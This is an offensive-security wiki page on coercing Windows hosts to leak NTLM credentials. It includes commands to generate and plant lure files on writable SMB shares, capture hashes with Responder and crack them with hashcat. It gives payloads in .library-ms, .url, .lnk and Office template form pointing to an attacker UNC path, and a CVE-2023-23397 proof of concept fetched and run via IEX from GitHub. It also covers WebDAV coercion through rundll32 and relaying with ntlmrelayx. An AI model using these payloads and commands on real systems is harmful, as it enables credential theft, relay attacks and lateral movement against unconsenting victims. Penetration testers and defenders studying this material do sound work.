--- title: "Places to steal NTLM creds" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # Places to steal NTLM creds **Check all the great ideas from [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) from the download of a microsoft word file online to the ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md and [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**[[12]](#references)[[13]](#references)[[14]](#references) ### Writable SMB share + Explorer-triggered UNC lures (ntlm_theft/SCF/LNK/library-ms/desktop.ini) If you can **write to a share that users or scheduled jobs browse in Explorer**, drop files whose metadata points to your UNC (e.g. `\\ATTACKER\share`). Rendering the folder triggers **implicit SMB authentication** and leaks a **NetNTLMv2** to your listener.[[1]](#references) 1. **Generate lures** (covers SCF/URL/LNK/library-ms/desktop.ini/Office/RTF/etc.) ```bash git clone https://github.com/Greenwolf/ntlm_theft && cd ntlm_theft uv add --script ntlm_theft.py xlsxwriter uv run ntlm_theft.py -g all -s -f lure ``` 2. **Drop them on the writable share** (any folder the victim opens): ```bash smbclient //victim/share -U 'guest%' cd transfer\ prompt off mput lure/* ``` 3. **Listen and crack**: ```bash sudo responder -I # capture NetNTLMv2 hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt # autodetects mode 5600 ``` Windows may hit several files at once; anything Explorer previews (`BROWSE TO FOLDER`) requires no clicks. ### Windows Media Player playlists (.ASX/.WAX) If you can get a target to open or preview a Windows Media Player playlist you control, you can leak Net‑NTLMv2 by pointing the entry to a UNC path. WMP will attempt to fetch the referenced media over SMB and will authenticate implicitly.[[3]](#references)[[4]](#references) Example payload: ```xml Leak ``` Collection and cracking flow: ```bash # Capture the authentication sudo Responder -I # Crack the captured NetNTLMv2 hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt ``` ### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055) Windows Explorer insecurely handles .library-ms files when they are opened directly from within a ZIP archive. If the library definition points to a remote UNC path (e.g., \\attacker\share), simply browsing/launching the .library-ms inside the ZIP causes Explorer to enumerate the UNC and emit NTLM authentication to the attacker. This yields a NetNTLMv2 that can be cracked offline or potentially relayed.[[2]](#references) Minimal .library-ms pointing to an attacker UNC ```xml 6 Company Documents false shell32.dll,-235 {7d49d726-3c21-4f05-99aa-fdc2c9474656} \\10.10.14.2\share ``` Operational steps - Create the .library-ms file with the XML above (set your IP/hostname). - Zip it (on Windows: Send to → Compressed (zipped) folder) and deliver the ZIP to the target. - Run an NTLM capture listener and wait for the victim to open the .library-ms from inside the ZIP. ### Outlook calendar reminder sound path (CVE-2023-23397) – zero‑click Net‑NTLMv2 leak Microsoft Outlook for Windows processed the extended MAPI property PidLidReminderFileParameter in calendar items. If that property points to a UNC path (e.g., \\attacker\share\alert.wav), Outlook would contact the SMB share when the reminder fires, leaking the user’s Net‑NTLMv2 without any click. This was patched on March 14, 2023, but it’s still highly relevant for legacy/untouched fleets and for historical incident response.[[5]](#references) Quick exploitation with PowerShell (Outlook COM): ```powershell # Run on a host with Outlook installed and a configured mailbox IEX (iwr -UseBasicParsing https://raw.githubusercontent.com/api0cradle/CVE-2023-23397-POC-Powershell/main/CVE-2023-23397.ps1) Send-CalendarNTLMLeak -recipient user@example.com -remotefilepath "\\10.10.14.2\share\alert.wav" -meetingsubject "Update" -meetingbody "Please accept" # Variants supported by the PoC include \\host@80\file.wav and \\host@SSL@443\file.wav ``` Listener side: ```bash sudo responder -I eth0 # or impacket-smbserver to observe connections ``` Notes - A victim only needs Outlook for Windows running when the reminder triggers. - The leak yields Net‑NTLMv2 suitable for offline cracking or relay (not pass‑the‑hash). ### .LNK/.URL icon-based zero‑click NTLM leak (CVE‑2025‑50154 – bypass of CVE‑2025‑24054) Windows Explorer renders shortcut icons automatically. Recent research showed that even after Microsoft’s April 2025 patch for UNC‑icon shortcuts, it was still possible to trigger NTLM authentication with no clicks by hosting the shortcut target on a UNC path and keeping the icon local (patch bypass assigned CVE‑2025‑50154). Merely viewing the folder causes Explorer to retrieve metadata from the remote target, emitting NTLM to the attacker SMB server.[[6]](#references) Minimal Internet Shortcut payload (.url): ```ini [InternetShortcut] URL=http://intranet IconFile=\\10.10.14.2\share\icon.ico IconIndex=0 ``` Program Shortcut payload (.lnk) via PowerShell: ```powershell $lnk = "$env:USERPROFILE\Desktop\lab.lnk" $w = New-Object -ComObject WScript.Shell $sc = $w.CreateShortcut($lnk) $sc.TargetPath = "\\10.10.14.2\share\payload.exe" # remote UNC target $sc.IconLocation = "C:\\Windows\\System32\\SHELL32.dll" # local icon to bypass UNC-icon checks $sc.Save() ``` Delivery ideas - Drop the shortcut in a ZIP and get the victim to browse it. - Place the shortcut on a writable share the victim will open. - Combine with other lure files in the same folder so Explorer previews the items. ### No-click .LNK NTLM leak via ExtraData icon path (CVE‑2026‑25185) Windows loads `.lnk` metadata during **view/preview** (icon rendering), not only on execution. CVE‑2026‑25185 shows a parsing path where **ExtraData** blocks cause the shell to resolve an icon path and touch the filesystem **during load**, emitting outbound NTLM when the path is remote. Key trigger conditions (observed in `CShellLink::_LoadFromStream`): - Include **DARWIN_PROPS** (`0xa0000006`) in ExtraData (gate to icon update routine). - Include **ICON_ENVIRONMENT_PROPS** (`0xa0000007`) with **TargetUnicode** populated. - The loader expands environment variables in `TargetUnicode` and calls `PathFileExistsW` on the resulting path. If `TargetUnicode` resolves to a UNC path (e.g., `\\attacker\share\icon.ico`), **merely viewing a folder** containing the shortcut causes outbound authentication. The same load path can also be hit by **indexing** and **AV scanning**, making it a practical no‑click leak surface.[[7]](#references) Research tooling (parser/generator/UI) is available in the **LnkMeMaybe** project to build/inspect these structures without using the Windows GUI.[[8]](#references) ### WebDAV auth coercion / credential validation via `davclnt.dll,DavSetCookie` The native **WebDAV client** can be abused to force the current logon session to authenticate to an arbitrary **HTTP/WebDAV** endpoint: ```batch rundll32.exe davclnt.dll,DavSetCookie http:///C$/Windows ``` Why this is useful: - Against an **attacker-controlled WebDAV server**, it can trigger **NTLM over HTTP** without dropping a custom client. - Against **internal hosts**, it is a quiet way to **validate where stolen credentials are accepted** before moving laterally.[[9]](#references) - The command is a good alternative when **SMB egress is filtered** but **HTTP/WebDAV** is still reachable. Operational notes: - The **WebClient** service must be running on the source host. - `rundll32.exe` loads `davclnt.dll` and makes Windows handle the WebDAV authentication using the **current user's credentials**.[[10]](#references) - If you point it to infrastructure you control, use an NTLM-aware HTTP listener/relay such as: ```bash # Capture or relay NTLM over HTTP/WebDAV ntlmrelayx.py -t smb:// --http-port 80 ``` From a detection perspective, repeated `rundll32.exe davclnt.dll,DavSetCookie` executions against many internal systems are a strong signal of **credential validation / spray-like lateral movement prep** rather than normal user behaviour.[[9]](#references)[[11]](#references) ### Office remote template injection (.docx/.dotm) to coerce NTLM Office documents can reference an external template. If you set the attached template to a UNC path, opening the document will authenticate to SMB. Minimal DOCX relationship changes (inside word/): 1) Edit word/settings.xml and add the attached template reference: ```xml ``` 2) Edit word/_rels/settings.xml.rels and point rId1337 to your UNC: ```xml ``` 3) Repack to .docx and deliver. Run your SMB capture listener and wait for the open. For post-capture ideas on relaying or abusing NTLM, check: [Readme](/hacktricks/windows-hardening/ntlm/overview) ## References - [1] [HTB: Breach – Writable share lures + Responder capture → NetNTLMv2 crack → Kerberoast svc_mssql](https://0xdf.gitlab.io/2026/02/10/htb-breach.html) - [2] [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html) - [3] [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) - [4] [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/) - [5] [MSRC – Microsoft mitigates Outlook EoP (CVE‑2023‑23397) and explains the NTLM leak via PidLidReminderFileParameter](https://www.microsoft.com/en-us/msrc/blog/2023/03/microsoft-mitigates-outlook-elevation-of-privilege-vulnerability/) - [6] [Cymulate – Zero‑click, one NTLM: Microsoft security patch bypass (CVE‑2025‑50154)](https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/) - [7] [TrustedSec – LnkMeMaybe: A Review of CVE‑2026‑25185](https://trustedsec.com/blog/lnkmemaybe-a-review-of-cve-2026-25185) - [8] [TrustedSec LnkMeMaybe tooling](https://github.com/trustedsec/LnkMeMaybe) - [9] [Rapid7 – When IT Support Calls: Dissecting a ModeloRAT Campaign from Teams to Domain Compromise](https://www.rapid7.com/blog/post/tr-it-support-dissecting-modelorat-campaign-microsoft-teams-compromise) - [10] [Microsoft Learn – davclnt.h header](https://learn.microsoft.com/en-us/windows/win32/api/davclnt/) - [11] [Splunk – Windows Rundll32 WebDAV Request](https://research.splunk.com/endpoint/320099b7-7eb1-4153-a2b4-decb53267de2/) - [12] [osandamalith.com - Places Of Interest In Stealing Netntlm Hashes](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes) - [13] [soufianetahiri/TeamsNTLMLeak](https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md) - [14] [p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)